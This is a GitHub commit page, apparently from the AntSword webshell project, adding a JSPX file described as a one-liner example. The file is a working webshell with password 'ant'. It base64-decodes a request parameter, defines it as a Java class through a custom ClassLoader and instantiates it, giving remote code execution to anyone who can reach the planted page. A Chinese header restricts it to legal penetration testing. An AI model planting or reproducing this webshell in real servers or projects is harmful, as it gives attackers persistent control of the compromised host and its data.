Skip to content

Commit 4ece6f1

Browse files
authored
新增jspx一句话示例
1 parent 36bad2d commit 4ece6f1

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed

jsp/jspx_defineclass_script.jspx

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<!--
2+
_ ____ _
3+
__ _ _ __ | |_/ ___|_ _____ _ __ __| |
4+
/ _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
5+
| (_| | | | | |_ ___) \ V V / (_) | | | (_| |
6+
\__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
7+
———————————————————————————————————————————————
8+
AntSword JSP Defineclass Script
9+
警告:
10+
此脚本仅供合法的渗透测试以及爱好者参考学习
11+
请勿用于非法用途,否则将追究其相关责任!
12+
———————————————————————————————————————————————
13+
pass: ant
14+
-->
15+
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
16+
<jsp:declaration>
17+
class U extends ClassLoader {
18+
U(ClassLoader c) {
19+
super(c);
20+
}
21+
public Class g(byte[] b) {
22+
return super.defineClass(b, 0, b.length);
23+
}
24+
}
25+
public byte[] base64Decode(String str) throws Exception {
26+
try {
27+
Class clazz = Class.forName("sun.misc.BASE64Decoder");
28+
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
29+
} catch (Exception e) {
30+
Class clazz = Class.forName("java.util.Base64");
31+
Object decoder = clazz.getMethod("getDecoder").invoke(null);
32+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
33+
}
34+
}
35+
</jsp:declaration>
36+
<jsp:scriptlet>
37+
String cls = request.getParameter("ant");
38+
if (cls != null) {
39+
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
40+
}
41+
</jsp:scriptlet>
42+
</jsp:root>

0 commit comments

Comments
 (0)